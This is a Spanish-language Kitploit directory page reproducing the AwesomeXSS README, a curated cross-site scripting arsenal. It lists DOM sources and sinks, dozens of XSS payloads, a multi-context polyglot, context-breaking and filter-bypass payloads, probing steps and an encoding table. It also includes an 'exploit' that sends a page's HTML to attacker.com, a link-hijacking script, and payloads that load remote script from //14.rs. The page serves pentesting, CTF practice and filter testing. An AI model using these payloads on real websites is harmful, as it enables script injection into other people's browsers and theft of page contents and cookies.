Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
AwesomeXSS — Increíbles cosas sobre XSS | Kitploit
Herramientas/GitHubGitHub/s0md3v/awesomexss
Generación de PayloadsEvasión de WAFSeguridad WebCTFPapers e InvestigaciónAprendizaje y EducaciónRecursos CuradosRutas de Aprendizaje y CursosLabs y Práctica
GitHubs0md3v/awesomexss

AwesomeXSS

Increíbles cosas sobre XSS

5.1k782hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

AwesomeXSS

Este repositorio es una colección de recursos Awesome XSS. Las contribuciones son bienvenidas y deben enviarse mediante un issue.

Awesome contents

  • Desafíos
  • Lecturas y Presentaciones
  • Herramientas
  • Mapas mentales
  • DOM XSS
  • Payloads
  • Poliglotas
  • Etiquetas y manejadores de eventos
  • Ruptura de contexto
    • Contexto HTML
    • Contexto de atributo
    • Contexto JavaScript
  • Variantes de Confirm
  • Exploits
  • Sondeo
  • Bypass
  • Codificación
  • Consejos y trucos

Awesome Challenges

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Awesome Reads & Presentations

  • Bypassing XSS Detection Mechanisms
  • XSS in Facebook via PNG Content Type
  • Cómo conocí a tu novia
  • Cómo encontrar 1,352 vulnerabilidades XSS en plugins de Wordpress en una hora
  • Blind XSS
  • Copy Pest

Awesome Tools

  • XSStrike
  • BeEF
  • JShell

Awesome XSS Mind Maps

Un hermoso mapa mental de XSS por Jack Masa, aquí

Awesome DOM XSS

  • ¿Tu entrada va a un sink? Vulnerable
  • ¿No lo hace? No vulnerable

Source: Una entrada que podría ser controlada por una fuente externa (no confiable).

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: Un método potencialmente peligroso que podría llevar a una vulnerabilidad. En este caso, un XSS basado en DOM.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Esta lista completa de sinks y sources está tomada de domxsswiki.

Awesome Payloads

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome Polyglots

Aquí hay un polyglot XSS que hice que puede salir de 20+ contextos:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explicación de cómo funciona, aquí

Awesome Tags & Event Handlers

  • 105 Manejadores de eventos con descripción
  • 200 Manejadores de eventos sin descripción

Algunos manejadores de eventos menos detectados

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Algunas etiquetas HTML que usarás

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome Context Breaking

HTML Context

Caso: <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Attribute Context

Caso: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript Context

Caso: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm Variants

Sí, confirm porque alert es demasiado mainstream.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome Exploits

Replace all links
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Source Code Stealer
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Awesome Probing

Si nada de esto funciona, echa un vistazo a la sección Awesome Bypassing.

En primer lugar, introduce una cadena no maliciosa como d3v y mira el código fuente para hacerte una idea sobre la cantidad y contextos de reflexiones.
Ahora, para contexto de atributo, comprueba si las comillas dobles (") están siendo filtradas introduciendo x"d3v. Si se altera a x&quot;d3v, es probable que la salida esté siendo escapada correctamente. Si esto ocurre, intenta lo mismo con comillas simples (') introduciendo x'd3v, si se altera a x&apos;, estás perdido. Lo único que puedes intentar es la codificación.
Si las comillas no están siendo filtradas, simplemente puedes probar payloads de la sección Awesome Context Breaking.
Para contexto JavaScript, comprueba qué comillas se están usando; por ejemplo, si están haciendo

root@kitploit:~
variable = 'value' or variable = "value"

Ahora, supongamos que se usan comillas simples ('). En ese caso, introduce x'd3v. Si se altera a x\'d3v, intenta escapar la barra invertida () añadiendo una barra invertida a tu sonda, es decir, x\'d3v. Si funciona, usa el siguiente payload:

root@kitploit:~
\'-alert()//

Pero si se altera a x\\\'d3v, lo único que puedes intentar es cerrar la propia etiqueta script usando

root@kitploit:~
</script><svg onload=alert()>

Para contexto HTML simple, la sonda es x<d3v. Si se altera a x&gt;d3v, hay una sanitización adecuada. Si se refleja tal cual, puedes introducir una etiqueta ficticia para comprobar posibles filtros. La etiqueta ficticia que me gusta usar es x<xxx>. Si se elimina o altera de alguna manera, significa que el filtro busca un par de < y >. Se puede evadir fácilmente usando

root@kitploit:~
<svg onload=alert()//

o esto (no funcionará en todos los casos)

root@kitploit:~
<svg onload=alert()

Si tus etiquetas ficticias aparecen en el código fuente tal cual, usa cualquiera de estos payloads

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Awesome Bypassing

Nota: Ninguno de estos payloads usa comillas simples (') o dobles (").

  • Sin manejadores de eventos
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • Sin espacio
root@kitploit:~
<svg/onload=confirm()>

  • Sin barra oblicua (/)
root@kitploit:~
<svg onload=confirm()>

  • Sin signo igual (=)
root@kitploit:~
<script>confirm()</script>
  • Sin corchete angular de cierre (>)
root@kitploit:~
<svg onload=confirm()//
  • Sin alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Sin una etiqueta HTML válida
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • Evadir lista negra de etiquetas
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Awesome Encoding

Awesome Tips & Tricks

  • http(s):// se puede acortar a // o /\\ o \\.
  • document.cookie se puede acortar a cookie. Aplica también a otros objetos DOM.
  • alert y otras funciones de pop-up no necesitan un valor, así que deja de hacer alert('XSS') y empieza a usar alert()
  • Puedes usar // para cerrar una etiqueta en lugar de >.
  • He descubierto que confirm es la función de pop-up menos detectada, así que deja de usar alert.
  • Las comillas alrededor del valor de un atributo no son necesarias siempre que no contenga espacios. Puedes usar <script src=//14.rs> en lugar de

Awesome Credits

Todos los payloads son creados por mí a menos que se especifique lo contrario.

Descargar herramienta
HTMLCarNuméricoDescripciónHexCSS (ISO)JS (Octal)URL
&quot;"&#34;comilla dobleu+0022\0022\42%22
&num;#&#35;signo de númerou+0023\0023\43%23
&dollar;$&#36;signo de dólaru+0024\0024\44%24
&percnt;%&#37;signo de porcentajeu+0025\0025\45%25
&amp;&&#38;ampersandu+0026\0026\46%26
&apos;'&#39;apóstrofeu+0027\0027\47%27
&lpar;(&#40;paréntesis izquierdou+0028\0028\50%28
&rpar;)&#41;paréntesis derechou+0029\0029\51%29
&ast;*&#42;asteriscou+002A\002a\52%2A
&plus;+&#43;signo de másu+002B\002b\53%2B
&comma;,&#44;comau+002C\002c\54%2C
&minus;-&#45;guión menosu+002D\002d\55%2D
&period;.&#46;punto; puntou+002E\002e\56%2E
&sol;/&#47;barra oblicua; slashu+002F\002f\57%2F
&colon;:&#58;dos puntosu+003A\003a\72%3A
&semi;;&#59;punto y comau+003B\003b\73%3B
&lt;<&#60;menor queu+003C\003c\74%3C
&equals;=&#61;igualu+003D\003d\75%3D
&gt;>&#62;signo de mayor queu+003E\003e\76%3E
&quest;?&#63;signo de interrogaciónu+003F\003f\77%3F
&commat;@&#64;arroba; arroba comercialu+0040\0040\100%40
&lsqb;[&#91;corchete izquierdou+005B\005b\133%5B
&bsol;\&#92;barra invertidau+005C\005c\134%5C
&rsqb;]&#93;corchete derechou+005D\005d\135%5D
&Hat;^&#94;acento circunflejou+005E\005e\136%5E
&lowbar;_&#95;guión bajou+005F\005f\137%5F
&grave;`&#96;acento graveu+0060\0060\u0060%60
&lcub;{&#123;llave izquierdau+007b\007b\173%7b
&verbar;|&#124;barra verticalu+007c\007c\174%7c
&rcub;}&#125;llave derechau+007d\007d\175%7d
<script src="//14.rs">
  • El payload XSS más corto para contexto HTML es <script src=//14.rs> (19 caracteres)